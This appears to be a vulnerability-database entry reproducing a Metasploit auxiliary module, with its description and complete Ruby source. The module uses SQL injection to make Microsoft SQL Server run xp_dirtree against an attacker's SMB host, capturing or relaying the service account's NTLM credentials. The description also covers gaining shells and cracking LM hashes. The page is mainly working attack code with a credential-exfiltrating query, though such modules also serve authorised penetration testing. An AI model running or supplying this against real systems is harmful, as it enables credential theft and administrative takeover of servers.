Microsoft SQL Server SQLi NTLM Stealer

2012-10-16T19:26:10
ID MSF:AUXILIARY/ADMIN/MSSQL/MSSQL_NTLM_STEALER_SQLI
Type metasploit
Reporter Rapid7
Modified 2019-09-23T14:29:38

Description

This module can be used to help capture or relay the LM/NTLM credentials of the account running the remote SQL Server service. The module will use the SQL injection from GET_PATH to connect to the target SQL Server instance and execute the native "xp_dirtree" or stored procedure. The stored procedures will then force the service account to authenticate to the system defined in the SMBProxy option. In order for the attack to be successful, the SMB capture or relay module must be running on the system defined as the SMBProxy. The database account used to connect to the database should only require the "PUBLIC" role to execute. Successful execution of this attack usually results in local administrative access to the Windows system. Specifically, this works great for relaying credentials between two SQL Servers using a shared service account to get shells. However, if the relay fails, then the LM hash can be reversed using the Halflm rainbow tables and john the ripper.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL_SQLI

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server SQLi NTLM Stealer',
      'Description'    => %q{
        This module can be used to help capture or relay the LM/NTLM credentials of the
        account running the remote SQL Server service. The module will use the SQL
        injection from GET_PATH to connect to the target SQL Server instance and execute
        the native "xp_dirtree" or stored procedure.   The stored procedures will then
        force the service account to authenticate to the system defined in the SMBProxy
        option. In order for the attack to be successful, the SMB capture or relay module
        must be running on the system defined as the SMBProxy. The database account used to
        connect to the database should only require the "PUBLIC" role to execute.
        Successful execution of this attack usually results in local administrative access
        to the Windows system.  Specifically, this works great for relaying credentials
        between two SQL Servers using a shared service account to get shells.  However, if
        the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
        and john the ripper.
      },
      'Author'         =>
        [
          'nullbind <scott.sutherland[at]netspi.com>',
          'Antti <antti.rantasaari[at]netspi.com>'
        ],
      'License'        => MSF_LICENSE,
      'References'     => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]]
    ))

    register_options(
      [
        OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
      ])
  end

  def run

    # Reminder
    print_status("DONT FORGET to run a SMB capture or relay module!")

    # Generate random file name
    rand_filename = Rex::Text.rand_text_alpha(8, bad='')

    # Setup query - double escaping backslashes
    sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
    print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")

    # Execute query to force authentation from backend database to smbproxy
    mssql_query(sql)
  end
end